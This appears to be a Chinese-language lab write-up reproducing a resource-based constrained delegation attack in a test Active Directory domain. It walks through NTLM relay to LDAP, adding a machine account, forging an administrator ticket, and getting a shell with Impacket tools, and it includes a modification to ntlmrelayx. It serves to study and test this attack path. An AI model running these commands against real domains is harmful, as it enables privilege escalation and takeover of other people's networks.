前言
前面学习了基于资源的约束委派,也遇到了一些问题,就是域账户中继后无法成功修改委派属性,这里用服务账户权限测试一下
环境搭建
主机 | 机器名 | ip | 用户 | 密码 | 版本 |
---|---|---|---|---|---|
域控 | ad.test.com | 192.168.164.147 | administrator | Aa1234 | win2012r2 |
域内机器 | user.test.com | 192.168.164.129 | user1 | Uu1234. | win2008r2 |
域内机器 | user2.test.com | 192.168.164.150 | user2 | 未知 | win2008r2 |
在user2.test.com上搭建webdav
jdk-7u80-windows-x64
Tomcat5.0.28 https://archive.apache.org/dist/tomcat/tomcat-5/v5.0.28/bin/jakarta-tomcat-5.0.28.zip
psexec.exe
需要给模拟的vps修改绑定host,并且使用代理中继
psexec -i -s cmd
漏洞复现
首先通过域账户添加一个计算机账户
python3 addcomputer.py -method SAMR -dc-ip 192.168.164.147 -computer-name rbcd1 -computer-pass 123456 "test.com/user1:Uu1234."
开启中继
python3 ntlmrelayx.py -t ldap://ad.test.com:389 -debug --delegate-access --escalate-user rbcd1\$
发送数据包
因为javasun.net.www.protocol.http.HttpURLConnection类在响应401时,会根据响应判断使用哪种认证模式,这个时候我们可以返回要求使用ntlm认证,这样拿到目标机器的ntlm hash(参见Ghidra 从 XXE 到 RCE),继而通过中继其ntlm链接域控ldap添加基于资源的约束委派(我改我自己)。
获取票据
python3 getST.py -dc-ip 192.168.164.147 test/rbcd1\$:123456 -spn cifs/user2.test.com -impersonate administrator
加载票据使用
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k user2.test.com
使用域用户尝试
可以看到这里使用机器账户权限时可以使用的,这里使用用户权限测试一下
首先删除修改的属性
使用用户权限启动tomcat
再次中继
可以看到并没有成功
我们手工修改,使用user2账户
尝试获取票据
失败了
查看rbcd1的sid
给user2机器配置属性
O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;s-1-5-21-1476105802-4187504772-1115168634-1112)
尝试获取票据
成功,这里确实和ateam文章说的一样,创建计算机的用户有权限来修改用户的msDS-AllowedToActOnBehalfOfOtherIdentity
属性,但是在使用中继的时候存在一些问题。
其实可以发现,这里应该时中继脚本存在问题,通过定位ldap操作的未知,发现这里
if self.config.delegateaccess and self.username[-1] == '$':
self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid)
return
判断了用户是否为机器账户,如果是机器账户,则进入delegateAttack
这里我们可以修改self.username的值为要被设置的机器账户
重新中继即可
尝试一下另一台机器
self.username = 'USER1$'
可以看到用户无修改权限,所以直接报错
参考文章
https://y4er.com/post/xxe-to-dc-replay/
https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/#41-webdav-xxe